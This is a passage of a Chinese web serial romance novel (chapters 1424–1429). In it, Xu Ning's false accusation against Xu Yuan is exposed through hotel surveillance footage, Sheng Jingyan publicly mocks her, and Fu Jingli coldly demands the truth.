她看着许愿,眼底的恨意里混杂着更深的恐惧,她知道,自己刚才的算计不仅没有伤到许愿,反而把自己彻底推入了深渊。 而傅京礼,那个她满心满眼都想留住的人,会因为这场谎言,彻底离她远去。 她甚至不敢想象,当监控被调出,真相大白的那一刻,傅京礼会怎么对她。 是冷冷地转身离开,不再看她一眼? 是失望地摇头,说一句“我没想到你是这样的人”? 还是像对待陌生人一样,疏离又冷漠地让她“离开”? 无论哪一种,都比许愿的嘲弄更让她难以承受。 因为她知道,比起许愿的嘲弄,傅京礼的厌恶才是最致命的,是能让她彻底失去一切的利刃。 她站在原地,身体依旧在颤抖,眼泪顺着脸颊不断滑落,滴在昂贵的地毯上,晕开小小的湿痕。 她看着傅京礼沉默的身影,想开口辩解,想说“我不是故意的,我只是太喜欢你了”,可喉咙却像被什么东西堵住,发不出任何声音。 她知道自己此刻的模样一定很狼狈,很丑陋,而她最不想让傅京礼看到的,就是这样的自己。 一个满心算计、卑微又恐慌的自己,一个连谎言都要靠别人的监控才能被戳破的自己。 她突然低下头,把脸埋进手掌里,肩膀剧烈地抖动起来,不是因为哭泣,而是因为极致的恐慌与羞耻。 她知道自己刚才那副满心算计的模样有多丑陋,而傅京礼看到了,那个她最想留住的人,看到了她最不堪的一面。 她慌,慌得六神无主。 她怕,怕得连呼吸都带着颤抖。 她更怕,怕傅京礼会因此看不上自己,怕自己会永远失去他。 而这种恐惧,像一张密不透风的网,将她紧紧裹住,让她连挣扎的力气都快要失去。 她恍惚了很久,终于张了张嘴,想反驳,想编造新的谎言,可喉咙却像被什么东西堵住了,发不出任何声音。 她看着许愿那副从容又笃定的模样,突然意识到,自己从一开始就在许愿的掌控之中。 许愿早就知道这里有监控,早就等着她自投罗网,而她刚才所有的挣扎、所有的指控,都只是在表演一场可笑的闹剧。 她知道许愿为什么会说这些。 许愿想看监控华庭的经理是一定会让许愿看的,不为别的,就为盛景炎都不会驳了许愿的面子。 她的身体颤抖得更加剧烈,连嘴唇都在发抖,刚才还恨不得冲上去撕扯许愿的勇气,此刻全变成了无措的恐惧。 她死死盯着许愿,眼底的恨意里混杂着绝望。 她知道,一旦监控被调出来,自己不仅会彻底失去傅京礼的信任,还会在华庭这个圈子里彻底沦为笑柄,再也抬不起头。 傅京礼站在一旁,看着许愿那笃定的模样,又看着许宁那惨白的脸色和颤抖的身体,心底的天平彻底倾斜。 他不是傻子,许愿的话里没有丝毫漏洞,反而带着一种让人信服的逻辑,而许宁的反应更是印证了她的慌乱。 如果许宁说的是真的,她为何会如此恐惧?他眼底的复杂情绪渐渐褪去,取而代之的是一丝淡淡的失望与清醒,他看着许宁,声音带着一种疏离的平静:“许宁,她说的是真的吗?这里确实到处都是监控。” 许宁听到傅京礼的声音,身体猛地一僵,眼泪终于忍不住滚落,却不是委屈的泪水,而是绝望的泪水。 她看着傅京礼,想开口辩解,可“监控”两个字像一块巨石,压得她喘不过气来,所有的辩解在绝对的证据面前都显得苍白无力。她只能死死咬着嘴唇,直到渗出血丝,却再也说不出一句完整的话。 第1424章 闹剧里的笑柄 许愿看着两人的反应,眼底的笑意渐渐淡去,只剩下一片冰冷的平静。 许宁的眼泪还在不停地往下落,像断了线的珠子,沿着惨白的脸颊滑落,砸在华庭那昂贵的羊毛地毯上,晕开一小片深色的湿痕。她咬着下唇,唇瓣被牙齿碾得泛白,甚至渗出一点血丝,却浑然不觉疼。 那点生理的痛远不及心底的恐慌与绝望。 她望着傅京礼,眼底盛满了水汽,那副模样实在是太可怜,可怜到任谁见了都要怀疑是不是许宁遭受了不公平待遇,是不是被谁狠狠欺负了,才会有这般委屈到极致的模样。 她的肩膀还在轻轻颤抖,像风中摇摇欲坠的枯叶,眼神里满是乞求,仿佛只要傅京礼说一句“我相信你”,她就能从这场噩梦里挣脱出来。 可真正被欺负的人是谁?难道不是许愿吗? 从头到尾,许愿只是站在原地,从容不迫地拆穿谎言,甚至连一句重话都没说,反倒是许宁,满心满眼都是算计,却在谎言被戳破时露出这般委屈的姿态,倒像是自己受了天大的委屈。 她在这里委屈什么?装什么呢?她自己都不觉得可笑吗? 那些精心设计的谎言,那些刻意摆出的可怜模样,在真相面前像一层薄纸,轻轻一戳就破,而她还沉浸在这场自导自演的戏码里,妄图用眼泪和委屈来博取同情,妄图让傅京礼站在她这边,继续做她争夺傅京礼的“帮手”。 许愿看着许宁这副模样,心底只余一片冰冷的嘲弄。 她声音清冷没有丝毫温度:“我真没时间陪你在这里过家家。”她刻意停顿了一下,目光扫过许宁那满是泪水的脸,又看向一旁沉默的傅京礼,“许宁,不是所有人都像你这样无所事事,把精力浪费在这种没意义的算计上。” 她说完,不再停留,转身就要离开。 这场闹剧已经够了,她没兴趣再陪着许宁演下去,更不想让傅京礼继续陷入这场无谓的纠缠里。 就在许愿转身的瞬间,电梯门“叮”的一声缓缓打开,一道高大的身影从电梯里走了出来。 那人穿着一身剪裁得体的深色西装,领带打得一丝不苟,眉眼间带着几分冷峻,却又在看到许愿的瞬间,眼底的寒意像冰雪消融般褪去,染上了一层温柔的暖意。 是盛景炎。 他手里还拎着一袋刚买好的热牛奶,袋子上的温度透过布料传递到他掌心,像他此刻看向许愿时的温度。 两人四目相对,空气仿佛在这一刻凝滞了。 盛景炎的眼底瞬间亮了起来,像落入了星辰,那光芒只聚焦在许愿一个人身上,带着毫不掩饰的欢喜与宠溺。 许愿也顿了下,刚才面对许宁时的冷冽在看到他的瞬间软化了几分,眼底闪过一丝不易察觉的温柔,像春日里初融的溪水,清澈又带着暖意。 盛景炎眼底的温柔像要把许愿包裹住。 盛景炎很快拎着热牛奶,步履从容地走到许愿身边,自然而然地站在她身旁,肩膀轻轻挨着她的肩膀,像在宣告一种无声的守护。 他眉眼之间都微微扬起,唇角勾起一抹浅淡的笑意,那笑意只对着许愿,温柔得能滴出水来,像冬日里的暖阳,只照在她一个人身上。 可当他注意到地上还在流泪的许宁,以及站在许宁身旁的傅京礼时,眼底的温柔瞬间褪去,换上了一层冷峻的疏离,唇角的笑意也变了味道,没了刚才的礼貌与温柔,像突然换了一副面孔。 他扫了眼许宁那副可怜兮兮的模样,又看了看傅京礼那带着复杂情绪的脸,语气轻飘飘的:“呦,这是在碰瓷呢?” 他故意拖长了尾音,目光在许宁身上转了一圈,带着一种居高临下的审视,“该不会是在哭哭啼啼地诬陷我们阿愿推了你吧?”每一个字都像带着刺,精准地戳向许宁最脆弱的地方,把她刚才所有的委屈与算计都揭得赤裸裸。 话音才落,许宁的脸色愈发难看了,像被人狠狠扇了一巴掌,从惨白变得涨红,又从涨红变得惨白,嘴唇哆嗦着,却发不出任何声音。她死死盯着盛景炎,眼底满是怨恨与恐慌。 她认识盛景炎,知道他是许愿的“靠山”,是盛氏集团的掌舵人,地位与傅京礼不相上下。 盛景炎的出现,不仅让这场闹剧变得更加复杂,更让她刚才所有的委屈都显得可笑至极。 在盛景炎面前,她那副“可怜”的姿态根本起不到任何作用,反而会被当成一场拙劣的表演。 一看许宁这反应,盛景炎就明白都发生了什么。 许宁那副怨恨又恐慌的模样,比任何辩解都更能说明问题。他眼底的讥讽更浓了几分,心里了然。 敢情还真是因为这事儿。 他早就知道许宁对傅京礼的执念,也隐约猜到许宁可能会对许愿动手,却没想到会是这么拙劣的手段。 他轻轻握住许愿的手,指尖传递着温度,仿佛在无声地告诉她“有我在,别怕”,然后又看向傅京礼,语气带着几分淡淡的疏离与提醒:“华庭的监控可是二十四小时无死角,有些事情,真相到底是怎样的,调出来看看就知道了,没必要在这里浪费时间。” 傅京礼听到盛景炎的话,眼底的复杂情绪更深了几分。 他看向许宁,又看向许愿和盛景炎,突然意识到自己刚才的犹豫与沉默,似乎成了许宁继续撒谎的“底气”。 他心底泛起一丝淡淡的失望,看着许宁那还在流泪的脸,声音带着一种冷静的疏离:“许宁,如果你说的是真的,调出监控证明自己清白,也没什么不好。” 许宁听到这话,身体猛地一僵,眼泪流得更凶了,却不再是委屈的泪水,而是绝望与怨恨的泪水。 她看着傅京礼那疏离的眼神,看着盛景炎那带着讥讽的笑意,看着许愿那被盛景炎护在身后的从容模样,突然觉得自己像个彻头彻尾的笑话。 她刚才还在乞求傅京礼的怜惜,还在妄图用眼泪博取同情,可现在,所有的一切都被揭穿,她所有的算计都成了这场闹剧里的笑柄。 第1425章 满心满眼都是算计 许愿感受到盛景炎掌心传来的温度,心底多了几分安稳。 她看向许宁,语气依旧清冷:“许宁,我说过,监控会记录下真相。你如果想证明自己没撒谎,随时可以调监控,如果你不想,那就请离开,别在这里继续闹下去,再闹下去丢脸的只会是你。”她说完,又看向傅京礼,眼神里带着一丝淡淡的疏离,“这件事到此为止吧,我不想再纠缠下去。” 盛景炎轻轻揽住许愿的肩膀,将她护在自己身边,看向许宁的眼神带着十足的警告:“许小姐,我劝你最好适可而止。阿愿不是你能随便欺负的人。”他的语气不疾不徐,却带着一种上位者的威压,压得许宁喘不过气来。 许宁站在原地,身体颤抖得更加厉害,她看着盛景炎那护着许愿的模样,看着傅京礼那疏离的眼神,突然觉得自己像一个被所有人抛弃的孤魂野鬼,满心满眼的绝望与怨恨。 她知道自己再也无法挽回什么,这场闹剧,从盛景炎出现的那一刻起,就已经彻底结束了,而她,成了这场闹剧里最可笑、最不堪的那个人。 她张了张嘴,想说些什么,可喉咙里却像被什么东西堵住,发不出任何声音。 她看着盛景炎那护着许愿的手,看着傅京礼那冷漠的脸,眼泪无声地流着,却再也唤不起任何人的怜惜。 许宁红着眼睛死死的盯着许愿,似乎要把自己所受的屈辱全都算到许愿的身上,盛景炎眼神一厉。 盛景炎有多偏心许愿? 答案早已刻在他每一个眼神、每一句言语里。 在他眼中,许愿做什么都是对的,是需要被守护的珍宝,而许宁此刻敢欺负许愿,那就是触了他的逆鳞,是绝对的错误。他根本不会去管原因,不会去探究过程,反正错的只能是许宁,谁让她敢对许愿动手动脚? 在盛景炎心里,许愿就是天下第一好,是独一无二的存在,任何人都比不得,任何对许愿的冒犯,都是对他底线的挑衅,而他,绝不会容忍。 盛景炎看着地上还在抽噎的许宁,眼底的讥讽像淬了冰的刀刃,锋利又冰冷。 他缓缓开口,语气带着一种居高临下的轻慢,每一个字都像带着重量,砸在寂静的走廊里:“其实,我不喜欢以貌取人。” 他顿了顿,目光落在许宁那张还带着泪痕的脸,眼底满是毫不掩饰的嫌弃,“但看到你,我真的不得不以貌取人。你长得不怎么样也就罢了,怎么人品也不行呢?” 他微微挑眉,语气愈发轻慢,“我们阿愿,漂亮又善良,;你呢?说你是狐狸精都侮辱了狐狸,毕竟狐狸还有几分灵性,你呢?除了满心算计,还有什么?” 他刻意放慢语速,让每一个字都清晰地传入许宁耳中,看着她那惨白的脸色,眼底的嘲弄愈发浓烈:“对不起啊,我的话可能稍微说的有点重了。” 他语气里带着一丝假意的歉意,可那眼底的嘲弄却丝毫未减,“不过你应该要清楚,我是故意的,我就是在针对你,谁让你敢欺负阿愿?谁让你编造谎言,想让阿愿难堪?我偏心阿愿,这是我公开的秘密,你要是不惹她,我连看都不会看你一眼,可你偏偏要撞上来,那就别怪我不客气。” 盛景炎仔细盯着许宁,许宁眼神果然在躲闪,像受惊的兔子,不敢直视他的眼睛,身体控制不住地颤抖,连嘴唇都在发抖。她看着盛景炎只觉得浑身发冷,连眼泪都快要流不出来了。 盛景炎看着她这副模样,语气愈发冰冷,带着一种不容置疑的笃定:“你在害怕,对吗?在心虚,对吗?” 他向前逼近一步,每一步都像踩在许宁的心上,“其实你自己心里清楚,今晚做错事的是你,无辜的是许愿,对吗?” 他的声音低沉,带着压迫感,像冬日里的寒风,吹得许宁浑身发冷,“你故意靠近许愿,想让她难堪,结果自己摔倒却要编造谎言,说许愿推了你,你满心满眼都是算计,你以为你能骗得了谁?你以为傅京礼会相信你的谎言?你以为我会相信?” 他微微俯身,目光直视许宁的眼底:“我真是不明白,为什么你们这些私生女、私生子就不能好好做人?不是让你们夹着尾巴做人,但好歹要看清楚自己的身份,清楚自己该做什么、能做什么,而不是像现在这样,做这些无意义的事情,害人害己。”他顿了顿,目光扫过傅京礼,又落回许宁脸上,语气里带着一丝淡淡的讽刺,“黎家那些私生子,做着继承家业的美梦,想着靠自己的身份去争一争,你呢?虽然许家不算什么大家族,可能那点家业你也瞧不上,你瞧上的是傅京礼的身份,对不对?你瞧上的是傅京礼背后的傅家,你想嫁给傅京礼,成为傅京礼的太太,从此飞上枝头变凤凰,对不对?” 许宁听着这些话,脸色愈发惨白,眼泪再次滚落,可这次,她的眼泪里满是绝望与愤怒。 她想反驳,想说自己不是这样的人,可盛景炎那笃定的语气、那不容置疑的眼神,让她所有的辩解都显得苍白无力。 她看着盛景炎,眼底满是怨恨,可那怨恨里又藏着深深的恐惧,她知道,盛景炎的话,会像刀子一样,扎在她的心里,也会扎在傅京礼的心里。 盛景炎看着她那副模样,心底愈发愤怒,语气愈发冰冷:“圈子里那么多名媛千金,傅京礼都是看也不看,偏偏载到了你这种人身上?其实挺可笑的。” 他轻笑一声,那笑声带着十足的嘲弄,“你知道我对你的评价是什么吗?” 他微微挑眉,“性情凉薄,心狠手辣,你为了留住傅京礼,连尊严都可以不要,连谎言都可以编得如此熟练,你满心满眼都是算计,连自己的感情都可以当成筹码,你这种人,放在我这边,就算是韩城,都瞧不上眼的。” 第1426章 不会再让她算计得逞 他看着许宁那惨白的脸色,语气带着笑意,但明显是在嘲笑:“真是不能理解,傅京礼为什么看上你,论美貌,你比不上圈子里那些精心培养的名媛,论身材,你也没有丝毫优势,论才华,你更是连提都提不上,论家室,你不过是个私生女,连正经的身份都没有,傅京礼那种出身的人,怎么可能真的会跟你在一起?你配跟谁在一起?若是小家族嫡系,大抵可以相配,但傅京礼这种出身,确实有点痴人说梦了。” 盛景炎的每一句话都精准地刺中许宁心底最脆弱的地方。 她的出身、她的算计、她的野心,被他毫不留情地拆穿,赤裸裸地摊在傅京礼面前。 许宁的身体颤抖得更加剧烈,连指尖都在发抖,她看着盛景炎,眼底的恨意与绝望交织在一起。 她咬着下唇,几乎要咬破,眼泪顺着脸颊滚落,可这次,她的眼泪里没有丝毫委屈,只有被羞辱到极致的痛苦与不甘。 她看着盛景炎,想开口反驳,可喉咙里却像被什么东西堵住,发不出任何声音。 她知道,盛景炎的话不是随便说说,他的话代表着圈子里的态度,代表着傅家可能会有的反应。 如果连盛景炎都这么说,那傅京礼会不会也这样想? 她会不会真的失去傅京礼?她会不会彻底沦为圈子里的笑柄? 傅京礼站在一旁,听着盛景炎的话,眼底的复杂情绪愈发浓重。 他看着许宁那颤抖的身体,看着她眼底的绝望与恐惧,心底的怜惜彻底消散,取而代之的是一种深深的失望。 他突然意识到,盛景炎说得对。 许宁的算计,谎言,野心,都太明显了,而她满心满眼都是自己的身份,却忘了真正的感情,不是靠身份和算计能维系的。 许宁看着傅京礼那失望的眼神,心底的恐惧愈发浓烈,她想解释,想说自己不是这样的人,可盛景炎的话砸得她连解释的勇气都没有。她只能死死咬着嘴唇,眼泪不停地滚落,身体颤抖得像风中摇曳的枯叶,仿佛下一秒就要彻底崩溃。 盛景炎看着她这副模样,心底没有丝毫怜惜。 他无法容忍任何人欺负许愿,更无法容忍许宁用这种卑劣的手段去伤害许愿。 许愿眉眼之间都是淡然之色,那淡然不是冷漠,而是一种历经世事后的清醒。 她看着此刻好像被逼到极致的许宁。 那张曾精心描画的脸此刻满是泪水,眼底的慌乱与怨恨交织,身体因愤怒与恐惧而微微颤抖,像风中摇摇欲坠的枯叶。 可许愿眼底的讽意却愈发深了,像湖面下沉淀的冰棱,带着穿透表象的锋利,没有丝毫温度。 许愿心里想了太多,那些过往的片段像老电影般在脑海中闪过。 曾经的她,也曾是满心柔软的人,尤其对同为女性的许宁,有过真切的同情与偏心。 很久前的许愿,总觉得许宁很无辜。 她虽是许镇江的私生女,可这出身从来不是她自己能选择的。 那时的许愿会想,许宁从小在私生女的身份里挣扎,或许比旁人更缺爱、更渴望被认可,或许她的偏执与疯狂,都是被这不公的出身逼出来的。 那时的许愿,甚至在心底为许宁找过无数个开脱的理由,想让她少受些委屈。 她一直更同情偏心女性,或许是源于女性之间天然的共情,或许是源于自己也曾经历过被误解、被伤害的时刻。 许愿觉得,许宁虽是私生女,可这并非她的过错,她不该为别人的错误买单。 她曾试图以善意对待许宁,哪怕许宁偶尔流露的敌意,她也选择包容,觉得或许是许宁太敏感、太没安全感。那时的她,以为温柔与包容能化解隔阂,以为同为女性的体谅能让许宁感受到善意,可现实却狠狠打了她的脸。 许愿这样为许宁考虑,可许宁是如何报答许愿的? 不是感激,不是体谅,而是变本加厉的设计与陷害。 许宁像一只贪婪的藤蔓,缠绕着许愿的生活,一次次用卑劣的手段来掠夺本不属于她的东西。 抢走许愿在意的人,散播关于许愿的谣言,甚至像现在这样,利用傅京礼来陷害许愿,将许愿塑造成蛮横无理的反派,自己则扮演成受尽委屈的受害者。 许宁的每一步算计,都踩在许愿的底线上,像一把钝刀,一点点割裂许愿曾经的善意与包容。 许愿看着许宁那副模样,心底没有丝毫怜悯,只有深深的疲惫与嘲弄。 她想起过往的那些时刻,自己一次次被许宁算计后的委屈与隐忍,而许宁却从未有过一丝愧疚,反而在看到她受难时,眼底满是得意与挑衅,仿佛在说“你再善良又如何,最后输的还是你”。 许宁一直都在掠夺,她像一个不知满足的窃贼,掠夺许愿的感情、掠夺许愿的尊严,掠夺本该属于许愿的安宁。 她一直都在争都在抢,争许愿在意的人,抢许愿的生活,抢许愿的圈子,哪怕那些东西本就不是她该拥有的。 许愿心善,她从未想过主动去伤害别人,从未想过用恶意去对待许宁。 可她也不是完全以德报怨的人,对恶的宽容,就是对善的辜负。 当她一次次的包容换来的是许宁一次次的变本加厉,当她发现自己的善良成了许宁攻击她的武器时,她终于明白,以德报怨从来不是美德,而是一种愚蠢。 就像现在,许宁利用傅京礼来陷害她,编造谎言,满心算计,若她还选择包容,选择体谅,那不是善良,而是愚蠢。 那是在纵容许宁的恶,是在伤害自己。 许愿眼底的讽意愈发深沉,却也愈发平静。 她看着许宁那因愤怒与恐惧而扭曲的脸,心底没有丝毫波澜。 她知道,曾经的同情早已消散。 许宁的悲剧,从来不是出身造成的,而是她自己选择的结果。她本可以靠自己的努力去争取属于自己的生活,可她却选择了最卑劣的方式,用谎言与算计去掠夺,去伤害别人。 而她不会再做那个被掠夺、被伤害的人。曾经的包容是给善意留的余地,如今的清醒,是给自己的保护。 她不会再让许宁的算计得逞,不会再让自己的生活被许宁这样的人搅乱。 第1427章 许宁,解释 许愿的目光扫过许宁那副狼狈的模样,又落在傅京礼带着复杂情绪的脸上,语气淡得像冬日里掠过的风,没有丝毫停留的意味:“我并不想在许宁身上浪费太多时间,我和盛景炎还有事,就先走了,你们随意。”每一个字都清晰又平静,像在陈述一个再简单不过的事实,没有丝毫情绪波动,却带着一种不容置疑的疏离。 她早已把许宁从自己的生活里彻底剔除,连多停留一秒都觉得多余。 说完,许愿看向身旁的盛景炎,眼底那层冰凉的淡然里,悄然融进了一丝柔软的暖意,像冰封的湖面裂开一道缝隙,漏出底下温润的光。 盛景炎眉眼之间都带着明显的笑意,那笑意从眼底蔓延到唇角,带着一种发自内心的愉悦。 对于盛景炎来说,只要能跟在许愿身边,就是会心情好。 他拎着那袋还带着余温的热牛奶,脚步从容地跟在许愿身后,手指不经意间轻轻碰了碰她的指尖,像在传递一种无声的守护与默契。 傅京礼的目光一直落在两人身上,没有移开过一瞬。 他看着盛景炎那眉眼间的笑意,看着他与许愿之间那种无需言语的默契,看着他们并肩离开时的从容,心底突然涌起一股莫名的恍惚。 他甚至忘了身旁还站着受伤委屈的许宁,忘了自己刚刚还因她的“委屈”而心生怜惜。 他的视线被许愿的背影牢牢吸引,看着她与盛景炎并肩而行的从容,看着她眼底那层因盛景炎而融化的淡然,心底像被什么东西轻轻撞了一下,泛起一阵难以言说的涟漪。 他从未见过许愿在别人身边如此放松的模样,也从未见过她眼底有过如此温暖的光,而这份温暖,不是为他而亮的。这份恍惚让他心底生出一丝莫名的空落,仿佛有什么东西,正在悄然远离。 “阿礼哥哥。”许宁咬着唇瓣,声音带着刻意的委屈与轻颤,试图将傅京礼的注意力拉回来。 她眼底蓄着泪水,脸上满是受伤的神情,仿佛傅京礼的失神是对她最大的伤害,她想用这份委屈唤回他的怜惜,想让他像往常一样,重新把所有的温柔都放在自己身上。 傅京礼这才回过神来,垂眸看向怀里的许宁。 他面无表情地将许宁抱起来,动作没有丝毫犹豫,却也没有丝毫温柔,像在抱一件没有温度的物品。 许宁的身体贴在他怀里,能清晰地感受到他胸膛传来的温度,也能感受到他手臂的力度。许宁的心脏忍不住猛地一跳,脸颊微微发烫,心底升起一丝卑微的庆幸与期待。 他还是抱了她,还是把她带离了这个尴尬的场景,说不定,他其实也是在意她的,只是被许愿和盛景炎的出现打乱了心神? 她双手紧紧抱住傅京礼的脖子,指尖因为用力而泛白,仿佛想把自己嵌进他的怀里。 她抬起头,故意摆出一副娇媚的模样,眼底的泪水还挂在睫毛上,却带着一种刻意的诱惑。 她缓缓凑过去,嘴唇几乎要碰到傅京礼的耳垂,甚至故意呼出一口暧昧的热气,那气息带着她身上的香水味,轻轻拂过傅京礼的耳廓,像在撒娇,又像在试图用亲密来唤醒他心底的怜惜。 可就在她的嘴唇即将触碰到傅京礼耳垂的瞬间,傅京礼的身体猛地一僵,像被一根冰冷的针刺中,瞬间紧绷起来。 那股陌生的触感,那股带着刻意诱惑的热气,像一种无形的抗拒,让他心底的厌恶感瞬间涌了上来。他眼底的冷意瞬间加深,像冬日里骤然结冰的湖面,没有丝毫温度,只剩下纯粹的排斥。他没有丝毫犹豫,手臂猛地用力,将许宁从自己怀里拉开。 许宁的身体跟着颤了下,还没反应过来,就已经被傅京礼放到了空沙发上。 沙发柔软的垫子缓冲了下落的力量,可她心底的恐慌与失落却像潮水般涌了上来。 她望着傅京礼,一时说不出话,眼底的委屈变成了错愕。 她不明白,为什么傅京礼会躲开,为什么他的眼神会如此冰冷,为什么他的动作会如此决绝。 她刚才明明感受到了他的温度,明明以为自己还能像往常一样,用亲密的姿态唤回他的怜惜,可现实却给了她一记响亮的耳光。 就在这时,傅京礼缓缓开口,声音冷得像冰,没有丝毫情绪波动,像一把锋利的刀,直接剖开了所有伪装的温柔:“许宁,解释。” 每一个字都带着一种不容置疑的压迫感,“我要解释,要知道真相,知道今晚到底是许愿推了你,还是你在撒谎。” 许宁的身体猛地一僵,像被那冰冷的声音冻住,连呼吸都变得困难起来。 她望着傅京礼,眼底的错愕瞬间被慌张取代。 他要真相?他竟然要真相? 她刚才还在心存侥幸,还在期待傅京礼会像往常一样,哪怕知道是谎言,也会为了维护她而选择相信她,可他却要真相,要听她解释,要听真话! 她张了张嘴,想要撒谎,想要编造一个更完美的谎言来弥补之前的漏洞,想要说“许愿真的推了我,我只是不想让她难堪才没说”,可当她看到傅京礼那双冰冷的眼睛,看到他眼底那层没有丝毫温度的冷意时,所有的谎言都卡在喉咙里,发不出任何声音。 她知道,傅京礼不是在试探,他是认真的,他真的要真相,而她的谎言,在他那双冰冷的眼睛面前,根本不堪一击。 更让她恐慌的是,傅京礼接下来的话彻底斩断了她最后的侥幸:“你撒谎,我会知道。” 他的目光扫过走廊的天花板,那里隐藏着监控的镜头,带着一种不容置疑的笃定,“这里到处都是监控,你刚才说的每一句话,做的每一个动作,都被记录得清清楚楚。所以,许宁,我要听真话,不是谎言,不是伪装。” 许宁的身体剧烈地颤抖起来,眼泪再次滚落,却不是委屈,而是绝望与恐慌。 第1428章 许镇江的私生女 她看着傅京礼,眼底满是不敢置信。 她从未见过他如此冰冷的模样,从未见过他用这种带着厌恶与疏离的眼神看着自己。 她刚才还期待着他的怜惜,期待着他的温柔,可他却用最冰冷的方式告诉她,他要的是真相,不是她的委屈,不是她的算计。 她张了张嘴,喉咙里发出一声破碎的呜咽,却再也说不出一句完整的话,所有的谎言都在真相面前土崩瓦解,而她,只能在这冰冷的质问中,彻底暴露自己所有的不堪。 傅京礼站在沙发旁,居高临下地看着许宁,眼底的冷意没有丝毫褪去。 他看着她那副慌张失措的模样,看着她眼底的绝望与恐慌,心底没有丝毫怜惜,只有深深的失望与清醒。 他终于明白,许愿说得对,许宁的算计,她的谎言,她的野心,都是真的,而他之前的怜惜与维护,不过是一场笑话。 他看着她,语气依旧冰冷:“说吧,真相是什么?我不想再浪费时间了。” 许宁望着傅京礼那冰冷的眼神,望着那双曾经满是温柔、如今却只剩下冷漠的眼睛,心底最后的侥幸也彻底消散。 她知道,自己再也无法用谎言来掩盖真相,再也无法用委屈来博取他的怜惜。 她低下头,泪水不停地滚落,身体颤抖得像风中摇摇欲坠的枯叶,而傅京礼,只是站在那里,眼底的冷意像一座冰山,将她彻底隔绝在外,再也无法靠近半分。 许宁此刻有些不敢去面对傅京礼,她垂着头,指尖紧紧绞着衣角,指节因用力而泛白,仿佛那布料是她此刻唯一能抓住的浮木。 她低垂的眼睫轻轻颤抖着,像受惊的蝶翼,遮住了眼底汹涌的情绪。 是慌乱,是恐惧,更是深深的担忧。 她真的会担心傅京礼对自己说出很过分的话,那些带着失望、厌恶与疏离的话语,像冰冷的刀锋,会瞬间割裂她心底最后一点脆弱的期待。 她曾在无数个夜晚里,幻想过傅京礼温柔的模样,幻想过他对自己露出宠溺的笑容,可如今,她却害怕极了他用最冰冷的眼神、最决绝的语气,将她从那场虚幻的美梦里彻底拉回现实,让她看清自己其实从未真正靠近过他,甚至可能永远都走不进他的心里。 她是会在意傅京礼的,这份在意像一根细线,缠绕在她的心上,勒得她心脏发疼。 或许这份在意里,没有到完全真爱的地步,她分不清那究竟是对傅京礼本人的喜欢,还是对傅家身份的渴望,又或许,这两者早已混杂在一起,成了她生命里无法割舍的执念。 可每当看到傅京礼的时候,她的心尖就会不自觉地发颤,血液像突然沸腾的岩浆,顺着血管冲到四肢百骸,让心跳不受控制地加速,仿佛连呼吸都变得急促起来。 那是一种生理上的本能反应,是她无法欺骗自己的真实感受。 她就是会喜欢傅京礼,哪怕这份喜欢里掺杂了太多现实的考量,哪怕这份喜欢会让她变得卑微又可笑。 这份喜欢,不只是因为傅京礼有着出众的相貌。 他眉眼锋利,轮廓如雕刻般清晰,站在那里,便自带一种清冷又疏离的气场,像冬日里覆着薄雪的松柏,让人忍不住想要靠近,却又不敢轻易触碰。 可真正让她无法自拔的,是傅京礼的家室,是傅家那在上流圈层里举足轻重的地位。 傅京礼是她所能选择范围中最优质的对象了,甚至可以说是她拼尽全力、耗尽心力,才能勉强接触到的最顶尖的豪门贵族。 她曾无数次在深夜里计算过自己的筹码,计算自己与傅京礼之间的距离,她知道,傅京礼是她改变命运、摆脱私生女身份的唯一希望。 事实证明,傅京礼确实足够优秀。 傅家在上流圈层里是名副其实的豪门望族,底蕴深厚,人脉广阔,傅京礼作为傅家板上钉钉的继承人,从出生起就站在了无数人无法企及的云端。 他的优秀不仅仅在于身份,更在于他自身的能力。 年纪轻轻便在商业领域展露锋芒,行事果断又沉稳,那些上流圈层的人提起傅京礼,无不带着几分敬佩与认可。 就算对真正的豪门名媛来说,傅京礼也绝对是顶尖的结婚对象。 那些名媛们出身显赫,自小便浸润在名利场中,见过太多优秀的男子,可傅京礼依旧是她们眼中的“上上之选”,不是因为身份的捆绑,而是因为他的优秀足以匹配她们的骄傲。 可那些真正的豪门名媛,多数并不太在意傅京礼的身份。 她们自己便是豪门贵女,家族的地位与傅家不相上下,自小便与门当户对的世家子弟相识,有的早已有了青梅竹马的未婚夫,有的则心仪着同圈层的优秀男子。 她们追求的不是身份的叠加,而是两颗心灵的契合,是彼此欣赏、相互扶持的陪伴。 对她们来说,傅京礼的优秀固然耀眼,可比起那些虚幻的身份光环,她们更想拥有自由自在的生活,不想被商业联姻的枷锁困住,不想把婚姻变成一场冰冷的交易。 所以,那些真正想要攀附权贵、接近傅京礼的人,往往是那些中等家族或者小家族出身的子女。 他们的家族渴望通过子女的婚姻,让自己整个家族登上更高的阶梯,渴望用联姻来换取资源与地位,而傅京礼,便是他们眼中最耀眼的“猎物”。 许宁,便是这众多“猎人”中的一个,甚至,她比其他中小家族的名媛更加艰难,更加拿不出手。 因为她的身份。 她是私生女,是许镇江在外的私生女,这个身份像一道深深的烙印,刻在她的骨子里,无论她如何努力,都难以抹去。 私生女,无论在任何地方,都是人人喊打的存在,是上流圈层里被排斥、被轻视的存在。 她甚至想着,以后在社交场合里,会不会感受到那些名媛们若有若无的疏离与轻蔑,听她们压低声音的议论。 “看,那就是许镇江的私生女,也不知廉耻。” “傅京礼怎么会和这种人有交集?” 只是想一想,都觉得那些话扎在她的心上,让她既愤怒又自卑。 第1429章 冰冷又残酷的现实 许宁最初并不认为自己的身份有多重要,她带着一种近乎偏执的狂热,觉得就算是私生女,只要能攀附上傅京礼,那自己迟早有一天能登上顶端,能摆脱那些轻视与嘲讽,能站在傅京礼身边,成为被人羡慕的存在。 她幻想着,只要能嫁给傅京礼,她就能洗去私生女的污名,就能让那些曾经看不起她的人,都对她俯首帖耳。 她以为,只要傅京礼愿意接纳她,一切都会改变。 傅家会接受她,上流圈层的人也会对她刮目相看,她就能拥有她想要的一切。 可现实却像一盆冰水,一次次浇灭她的幻想。 她渐渐明白,有很多人在意她的身份。 傅家的其他人会在暗地里对她指指点点,那些长辈们眼底的轻视与不喜,像一把把冰冷的刀,悬在她的头顶。 上流圈层的人也会在意,他们会用一种嘲弄的眼神看着她,看着傅京礼,甚至会指着傅京礼的鼻子,毫不留情地嘲讽:“看啊,那就是傅家的嫡长子,最终娶了个上不得台面的小三女儿,实在是有些过于可笑了。” 那些嘲讽像尖锐的石子,砸在她的心上,让她既愤怒又恐慌。 她知道,傅京礼或许真的不在意,可傅家其他人呢?上流圈层的人呢? 